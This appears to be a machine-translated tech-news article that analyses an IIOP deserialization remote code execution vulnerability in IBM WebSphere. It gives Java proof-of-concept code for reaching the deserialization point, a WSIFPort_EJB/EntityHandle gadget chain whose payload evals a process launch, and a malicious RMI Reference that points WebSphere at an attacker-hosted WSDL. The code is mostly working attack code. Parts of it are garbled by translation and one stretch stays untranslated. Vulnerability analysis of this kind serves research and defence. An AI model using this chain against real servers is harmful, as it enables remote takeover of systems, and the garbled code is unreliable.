Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to conduct in-depth analysis of remote code execution vulnerabilities in WebSphere deserialization

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article shows you how to carry out in-depth analysis of WebSphere deserialization remote code execution vulnerabilities, the content is concise and easy to understand, can definitely brighten your eyes, through the detailed introduction of this article, I hope you can get something.

Introduction to WebSphere

WebSphere is the software platform of IBM. It includes writing, running, and monitoring round-the-clock industrial strength on demand Web applications and the entire middleware infrastructure, such as servers, services, and tools, required for cross-platform, cross-product solutions. WebSphere provides reliable, flexible and robust software.

WebSphere Application Server is the foundation of the facility, and all other products run on it. Based on WebSphere Application Server and WebSphere Enterprise Service Bus, WebSphere Process Server provides the foundation for service-oriented architecture (SOA) modular applications and supports the application of business rules to drive applications that support business processes. High-performance environments also use WebSphere Extended Deployment as part of their infrastructure. Other WebSphere products provide a wide range of other services.

WebSphere is a modular platform based on open standards supported by the industry. Existing assets can be plugged into the WebSphere through trusted and persistent interfaces, and the environment can continue to be extended. WebSphere can run on many platforms, including Intel, Linux, and z/OS.

WebSphere is the most important software platform in the era of e-commerce on demand, which can be used for enterprises to develop, deploy and integrate a new generation of e-commerce applications, such as B2B, and support business applications ranging from simple web content publishing to enterprise transaction processing. WebSphere can create e-commerce sites, extend applications to federated mobile devices, integrate existing applications and provide automated business processes.

Introduction to WSDL

WSDL is a document used to accurately describe Web services, and an WSDL document is an XML document that follows the WSDL-XML schema. WSDL documents define Web services as service access points. In WSDL, abstract definitions of service access points and messages can be reused because they are separated from specific service deployments or data format bindings. The message refers to the abstract description of the exchange data, while the port type refers to the abstract set of operations. Specific protocols and data format specifications for specific port types constitute bindings that can be used again. By associating an Web access address with a reusable binding, you can define a port, while the set of ports is defined as a service. An WSDL document usually contains eight important elements, namely, definitions, types, import, message, portType, operation, binding, and service elements. These elements are nested within the definitions element, where definitions is the root element of the WSDL document.

In-depth Analysis of vulnerability principle

The earliest details about vulnerabilities disclosed on the Internet were explained in this blog post by https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere.

According to some of the descriptions in this article, this vulnerability is caused by deserialization on the IIOP protocol, so we need a local IIOP client to send a request to WebSphere to trigger the vulnerability.

The code is as follows

Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory"); env.put (Context.PROVIDER_URL, "iiop://172.16.45.148:2809"); InitialContext initialContext = new InitialContext (env); initialContext.list ("")

According to the description in the article, we come to the receive_request method of the interceptor TxServerInterceptor. According to the blogger's description, the execution path before reaching the deserialization point is as follows.

Let's start debugging with the receive_request method of TxServerInterceptor.

We run the IIOP client and send a request to WebSphere, but we soon find that the second breakpoint in the execution chain is not executed. Let's take a look at the source code.

First of all, let's take a look at where the validOtsContext is assigned.

You can see that the value of validOtsContext is ture or false depends on whether the value of serviceContext is empty.

After debugging, it is found that the value of serviceContext is as expected, so the first problem now is to let the program execute to the specified location, so we have to find a way to assign a value to serviceContext.

So we follow the line of serviceContext = ((ExtendedServerRequestInfo) sri) .getRequestServiceContext (0), and dig deeply into the return value of this ((ExtendedServerRequestInfo) sri) .getRequestServiceContext (0). We can't control it to determine whether the value of this serviceContext is obtained from the data sent by the IIOP client.

The following is a list of call chains that analyze the source of serviceContext values

Finally, we come to the getServiceContext method of ServiceContextList. Here is the concrete implementation of this method.

Public ServiceContext getServiceContext (int var1) {ServiceContext var2 = null;synchronized (this) {for (int var4 = 0; var4)

< this.serviceContexts.length; ++var4) {if (this.serviceContexts[var4].getId() == var1) {var2 = this.serviceContexts[var4];break;}}return var2;}} 这里的var1是((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)的参数也就是0,这里会循环遍历ServiceContexts, 如果其中有一个ServiceContext的id值为0,则会为var2赋值并返回。也就是说我们要想办法让ServiceContext的id值为0。那么此时我们就要看这里的serviceContexts究竟又是在哪里尽心的赋值。 经过对代码的回溯,最终找到了这个为serviceContexts赋值的点,在RequestMessage的read方法中,这里会生成ServiceContext对象并为其id值进行复制,而这里的id值就是又客户端传递来的序列化数据中读取到的,那么就意味着该值可控。 那么我们就要回到POC的构造中来思考怎么设置ServiceContext的值。 根据奇安信 观星实验室的iswin大佬给的思路,在将构造好的ServerContext封装进请求数据之前需要先进行一次查询操作,从而让数据初始化 这是初始化之前其中的_context对象是null 当执行完一次查询操作后_context对象就成功被初始化了 后续的一些操作就主要围着_context对象中的属性来进行操作了,经过一番查找最终锁定了一个可以操作的ServerContext对象的属性, 贴一下该属性所在的位置,这里我精简掉了其余的暂时用不到的属性。 这里并没有显示该属性的类型,所以去Connection类中查找对应的属性,确定其类型

Now that our goal is clear, to assign a value of ServiceConetxt to this property, we need to use a series of reflections. Up to the orb attribute, we can use a simple reflection to get the code as follows

Field f_defaultInitCtx = initialContext.getClass (). GetDeclaredField ("defaultInitCtx"); f_defaultInitCtx.setAccessible (true); WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get (initialContext); Field f_context = defaultInitCtx.getClass (). GetDeclaredField ("_ context"); f_context.setAccessible (true); CNContextImpl _ context = (CNContextImpl) f_context.get (defaultInitCtx); Field f_corbaNC = _ context.getClass (). GetDeclaredField ("_ corbaNC"); f_corbaNC.setAccessible (true) _ NamingContextStub _ corbaNC = (_ NamingContextStub) f_corbaNC.get (_ context); Field f__delegate = ObjectImpl.class.getDeclaredField ("_ _ delegate"); f__delegate.setAccessible (true); ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get (_ corbaNC); Field f_ior = clientDelegate.getClass (). GetSuperclass (). GetDeclaredField ("ior"); f_ior.setAccessible (true); IOR ior = (IOR) f_ior.get (clientDelegate) Field f_orb = clientDelegate.getClass (). GetSuperclass (). GetDeclaredField ("orb"); f_orb.setAccessible (true); ORB orb = (ORB) f_orb.get (clientDelegate)

Then, according to the relevant code given in the big iswin article, we can get the getConnection method of the GIOPImpl object stored in the orb property through reflection, and then get the Connection object we need through the getConnection method.

The code is as follows

/ / the orb property obtained through reflection calls its getServerGIOP method to get the encapsulated GIOPImpl object GIOPImpl giopimpl = (GIOPImpl) orb.getServerGIOP (); / / reflection gets the getConnection method Method getConnection = giopimpl.getClass (). GetDeclaredMethod ("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class); getConnection.setAccessible (true) / / call the getConnection method to pass the corresponding parameters to get the required Connection object. Connection connection = (Connection) getConnection.invoke (giopimpl,ior,ior.getProfile (), clientDelegate, "LinShiGong")

According to the previous analysis of the ServerContext object, we need to encapsulate it in the connectionContext property of the Connection object, so we also need to obtain the setConnectionContexts method of the Connection object through reflection and store our instantiated ServerContext object in it.

The code is as follows

/ / reflection gets the setConnectionContexts method of the Connection object Method setConnectionContexts = connection.getClass () .getDeclaredMethod ("setConnectionContexts", ArrayList.class); setConnectionContexts.setAccessible (true)

Next we need to instantiate a ServiceContext object and set its id value to 0

The code is as follows

/ / in order to satisfy the parameters required by the ServiceContext construction method, first construct a random byte [] byte [] result = new byte [] {000.00}; ServiceContext serviceContext = new ServiceContext (0scene result)

Next, the setConnectionContexts method obtained by reflection stores the ServiceContext object in the Connection object

The code is as follows

/ / because the parameter of setConnectionContexts is an ArrayList type, you need to put the ServiceContext object in an ArrayList first ArrayList var4 = new ArrayList (); var4.add (serviceContext); setConnectionContexts.invoke (connection,var4); / / query operation initialContext.list ("") again.

Go back to WebSphere and continue debugging to see if you can execute to the location of the TxInterceptorHelper.demarshalContext method. You can see that the value of serviceContext is no longer empty and the value of validOtsContext becomes true.

You can see that the program can now be executed to the designated location, so let's move on.

The second problem encountered after entering the demarshalContext method is that the data sent by the client is read and encapsulated in a PropagationContext object in this method.

Here, three parameters are passed in and an inputStream object is generated. In the face of this problem, we first need to see which parameter the data read by inputStream is, so follow up the inputStream.read_ulong method deeply, and finally come to the CDRInputStream.read_long method. The code shows that the read area is the content of the buf property of the current object.

After reading this buf attribute, it looks familiar. Looking back, when we instantiated the ServiceContext object on the client side, the result parameter passed in is exactly the same as the value of this attribute. From this, we can see that we need to carefully construct the second parameter when instantiating ServiceContext on the client side.

We need to find the marshalContext method that corresponds to the demarshalContext method, and then see how the method processes the data, and then we just follow suit.

We will modify it a little according to the above format.

The code is as follows

CDROutputStream outputStream = ORB.createCDROutputStream (); outputStream.putEndian (); Any any = orb.create_any (); / / generate a PropagationContext object. PropagationContext propagationContext = new PropagationContext, new TransIdentity [0], any); PropagationContextHelper.write (outputStream,propagationContext); / / output to byte array byte [] result = outputStream.toByteArray (); ServiceContext serviceContext = new ServiceContext; ArrayList var4 = new ArrayList (); var4.add (serviceContext); setConnectionContexts.invoke (connection,var4); initialContext.list (")

This allows you to successfully execute the line of code propContext.implementation_specific_data = inputStream.read_any (). Continue to follow in

Following up on the unmarshalIn method of the TCUtility class, we encounter a third problem. According to https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere 's introduction in this blog post, there is a switch in this method that we need to go to the code location shown in the following figure.

However, the current parameters cannot go here after selection, so we need to check whether the parameters here are passed in from the front end and whether they are controllable. If they are controllable, we need to continue to construct the data at the front end.

Let's first look at the first parameter passed here, that is, var0, a parameter of type InputStream.

The code is called back to the demarshalContext method of the PropagationContext class, and the code that originates the vulnerability is shown in the following figure. In fact, combined with the client code, it is not difficult to know that this is an AnyImpl object encapsulated in the PropagationContext object we passed.

In fact, combined with the client-side code, it is not difficult to know that this is an AnyImpl object encapsulated in the PropagationContext object that we passed.

/ / this is the AnyImplAny any = orb.create_any (); PropagationContext propagationContext = new PropagationContext (null,null,new otid_t (null,null,new otid_t)), new TransIdentity [0], any)

According to the description in the blog post, some classes used by gadget are disabled in Classloader in IBM Java SDK, TemplatesImpl classes are no longer serializable, and such classes are often used in many public gadget chains, which can be confirmed by the inheritance relationship between TemplatesImpl classes in IBM Java SDK and TemplatesImpl classes in oracle JDK.

Inheritance relationship of TemplatesImpl class in Oracle JDK

For the inheritance of the TemplatesImpl class in IBM Java SDK, you can see that the Serializable interface is not implemented

IBM SDK does not use Oracle JDK's Java naming and Directory Interface (JNDI) implementation. Therefore, it will not be attacked by loading remote classes through RMI/LDAP, and the above restrictions add to the difficulty of RCE, and we need to find a new utilization chain in IBM WebSphere.

The bosses have given the corresponding idea that there is such a class WSIFPort_EJB in IBM WebSphere as an entry. This deserialization RCE takes advantage of the fact that WSIFPort_EJB deserializes the first Handle object from the data passed in the front end during deserialization, and calls the getEJBObject () method of the object.

We need to encapsulate the WSIFPort_EJB in the implementation_specific_data property of the PropagationContext class, that is, the AnyImpl object, so that when we execute propContext.implementation_specific_data = inputStream.read_any () to deserialize the AnyImpl object from the inputStream, we will naturally deserialize our encapsulated WSIFPort_EJB method and execute its readObject method.

The code is as follows

WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB (null,null,null); Any any = orb.create_any (); any.insert_Value (wsifPort_ejb)

Run it again after modification, and find that the readObject method of the WSIFPort_EJB class can be executed to the entry point of the deserialization vulnerability.

Since we chose to use the handle.getEJBObject () method here, we needed to find a class that implemented the Handle interface, and finally found the class com.ibm.ejs.container.EntityHandle

Before we talk about the class EntityHandle, let's take a look at the getEJBObject method of EntityHandle. Here is some code in this method.

Public EJBObject getEJBObject () throws RemoteException {. / / the this.homeJNDIName and homeClass here are our controllable home = (EJBHome) PortableRemoteObject.narrow (ctx.lookup (this.homeJNDIName), homeClass);} catch (NoInitialContextException var7) {Properties p = new Properties (); p.put ("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory"); ctx = new InitialContext (p); home = (EJBHome) PortableRemoteObject.narrow (ctx.lookup (this.homeJNDIName), homeClass) } Method fbpk = this.findFindByPrimaryKey (homeClass); this.object = (EJBObject) fbpk.invoke (home, this.key);} catch (InvocationTargetException var10) {.}

First of all, we know that this.homeJNDIName is controllable, which means that we can specify WebSphere to lookup a specified rmi or ldap server, and we can put a RMI Reference on the server for WebSphere to load.

Generating an object that can take advantage of EntityHandle requires a series of complex reflections. According to the idea provided by the boss of Iswin, the code is as follows

WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB (null,null,null); Field fieldEjbObject = wsifPort_ejb.getClass (). GetDeclaredField ("fieldEjbObject"); fieldEjbObject.setAccessible (true); fieldEjbObject.set (wsifPort_ejb,new EJSWrapper () {@ Overridepublic Handle getHandle () throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome (); J2EEName j2EEName = new J2EENameImpl ("iswin", null,null); Field j2eeName = EJSHome.class.getDeclaredField ("j2eeName"); j2eeName.setAccessible (true); j2eeName.set (sessionHome,j2EEName) Field jndiName = EJSHome.class.getDeclaredField ("jndiName"); jndiName.setAccessible (true); / / jndiName.set (sessionHome,System.getProperty ("rmi_backedn")); jndiName.set (sessionHome, "rmi://172.16.45.1:1097/Object") BeanId beanId = new BeanId (sessionHome, "\"\ ".getClass (). ForName (\" javax.script.ScriptEngineManager\ "). NewInstance (). GetEngineByName (\" JavaScript\ "). Eval (\" new java.lang.ProcessBuilder ['(java.lang.String [])'] (['calc']). Start ()\ "); Properties initProperties = new Properties (); initProperties.setProperty (" java.naming.factory.object "," org.apache.wsif.naming.WSIFServiceObjectFactory ") Constructor entiyHandleConstructor = EntityHandle.class.getDeclaredConstructor (BeanId.class,BeanMetaData.class,Properties.class); entiyHandleConstructor.setAccessible (true); BeanMetaData beanMetaData = new BeanMetaData (1); beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;var2 = (Handle) entiyHandleConstructor.newInstance (beanId,beanMetaData,initProperties);} catch (Exception e) {e.printStackTrace ();} return var2;}})

This is written because the WSIFPort_EJB object calls the getHandle method of its own fieldEjbObject property when serializing, and serializes its return value, so we assign an EJSWrapper object to the fieldEjbObject property through reflection and override its getHandle method to instantiate the EntityHandle object in getHandle through reflection.

Going back to the getEJBObject method of EntityHandle, you can see when following ctx.lookup (this.homeJNDIName) into the getObjectInstanceViaContextDotObjectFactories method of ObjectFactoryHelper

We can see here that the environment parameter is controllable, so we can call the getObjectInstance method of the factory we specified in this method. We can see that the value here is passed as a parameter when we instantiate the EntityHandle.

The value we pass in is org.apache.wsif.naming.WSIFServiceObjectFactory, so we call the getObjectInstance method of the WSIFServiceObjectFactory class.

Let's take a look at some of the code for this method, where the information of the Reference loaded by look is parsed and the values in each Reference are taken out.

Public Object getObjectInstance (Object obj, Name name, Context context, Hashtable env) throws Exception {Trc.entry (this, obj, name, context, env); if (obj instanceof Reference & & obj! = null) {.}} else if (ref.getClassName (). Equals (WSIFServiceStubRef.class.getName () {wsdlLoc = this.resolveString (ref.get ("wsdlLoc")); serviceNS = this.resolveString (ref.get ("serviceNS")); serviceName = this.resolveString (ref.get ("serviceName")) PortTypeNS = this.resolveString (ref.get ("portTypeNS")); portTypeName = this.resolveString (ref.get ("portTypeName")); String preferredPort = this.resolveString (ref.get ("preferredPort")); String className = this.resolveString (ref.get ("className")); if (wsdlLoc! = null) {WSIFServiceFactory factory = WSIFServiceFactory.newInstance (); WSIFService service = factory.getService (wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName); Class iface = Class.forName (className, true, Thread.currentThread (). GetContextClassLoader ()) Object stub = service.getStub (preferredPort, iface); Trc.exit (stub); return stub;}} Trc.exit (); return null;}

Take a look at the code in Reference.

Registry registry = LocateRegistry.createRegistry (1097); Reference reference = new Reference (WSIFServiceStubRef.class.getName (), (String) null, (String) null); reference.add (new StringRefAddr ("wsdlLoc", "http://172.16.45.1:8000/poc.xml"));reference.add(new StringRefAddr (" serviceNS "," http://www.ibm.com/namespace/wsif/samples/ab"));reference.add(new StringRefAddr ("serviceName", "rce_service") Reference.add (new StringRefAddr ("portTypeNS", "http://www.ibm.com/namespace/wsif/samples/ab"));reference.add(new StringRefAddr (" portTypeName "," RceServicePT ")); reference.add (new StringRefAddr (" preferredPort "," JavaPort ")); reference.add (new StringRefAddr (" className "," com.ibm.ws.batch.CounterHome ")); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind (" Object ", referenceWrapper)

The first thing to notice here is that there is a reference.add (new StringRefAddr ("className", "com.ibm.ws.batch.CounterHome")) that involves the type of the final return value of the getObjectInstance function. When you look at the getEJBObject method of EntityHandle, the return value of the narrow method is actually

The return value of ctx.lookup (this.homeJNDIName), that is, the type of the return value of ctx.lookup (this.homeJNDIName) is to be implemented from the EJBHome interface

Home = (EJBHome) PortableRemoteObject.narrow (ctx.lookup (this.homeJNDIName), homeClass)

The return value of the getObjectInstance method of WSIFServiceObjectFactory is a Proxy type, and the interface parameter passed in when the Proxy type is created is new StringRefAddr ("className", "com.ibm.ws.batch.CounterHome") in Reference. One reason why CounterHome inherits EJBHome is that CounterHome is chosen as the interface of the returned Proxy object, and another reason is that the findFindByPrimaryKey method is declared in the interface.

After talking about why CounterHome is chosen as the interface to return Proxy objects, there is a piece of code in the getObjectInstance method.

WSIFService service = factory.getService (wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName)

Here, the xml file is loaded according to the value of the wsdlLoc field in the parsed Reference, that is, http://172.16.45.1:8000/poc.xml goes to the address. The poc.xml is a WSDL file as follows. For the construction of this WSDL file, please refer to this article https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html#N10041.

You can see that the values of fields such as serviceName,portTypeName,preferredPort in Reference can be found in this xml.

Finally, when the load parsing is complete, a value of type WSIFServiceImpl is returned. After the getObjectInstance execution is completed, a corresponding Proxy object is generated based on the WSIFServiceImpl object, that is, the proxy object whose implementation interface is CounterHome mentioned earlier.

After the getObjectInstance method of WSIFServiceObjectFactory is executed, it is returned to the getEJBObject method of EntityHandle. Next, it will query whether there is a method named findFindByPrimaryKey in homeClass. If so, return the Method object of this method. If not, it will return empty. The value in this homeClass variable is controllable and has been encapsulated when the EntityHandle object is generated by the IIOP client. Its value is com.ibm.ws.batch.CounterHome, so the Method object of the findFindByPrimaryKey method is returned when the result is executed.

Method fbpk = this.findFindByPrimaryKey (homeClass)

Then the most critical step will be carried out, that is,

This.object = (EJBObject) fbpk.invoke (home, this.key)

Then it is executed into the Invoke method of WSIFClientProxy and then traced to the executeRequestResponseOperation method of WSIFOperation_Java, where there is a line of code

Result = this.fieldMethods [a] .invoke (objRef, compatibleArguments)

You can see that here we call the eval method of javax.el.ELProcessor by putting the reflection method and pass in the code we want to execute. At this point, the CVE-2020-445 deserialization remote code execution vulnerability analysis is complete.

It is true that this vulnerability is a little complicated, but the idea is actually quite clear. first, by constructing the sent data, WebSphere can first execute to the point of deserialization, and then due to the limitations of IBM JAVA SDK itself, it is impossible to use RMI Reference or LDAP Reference to remotely load Class to the local way to execute malicious code, so it is necessary to find a class that implements ObjectFactory locally, and this class performs risky operations in the getObjectInstance method. You can refer to this article by Michael Stepankin boss https://www.veracode.com/blog/research/exploiting-jndi-injections-java here. So we found WSIFServiceObjectFactory, which parses Reference and loads and parses a malicious WSDL file that we prepared in advance according to the value in Reference. Finally, WebSphere calls the eval method of javax.el.ELProcessor by reflection according to the return value of WSIFServiceObjectFactory's getObjectInstance method, and finally executes our malicious code.

The above content is how to carry out in-depth analysis of WebSphere deserialization remote code execution vulnerabilities, have you learned the knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report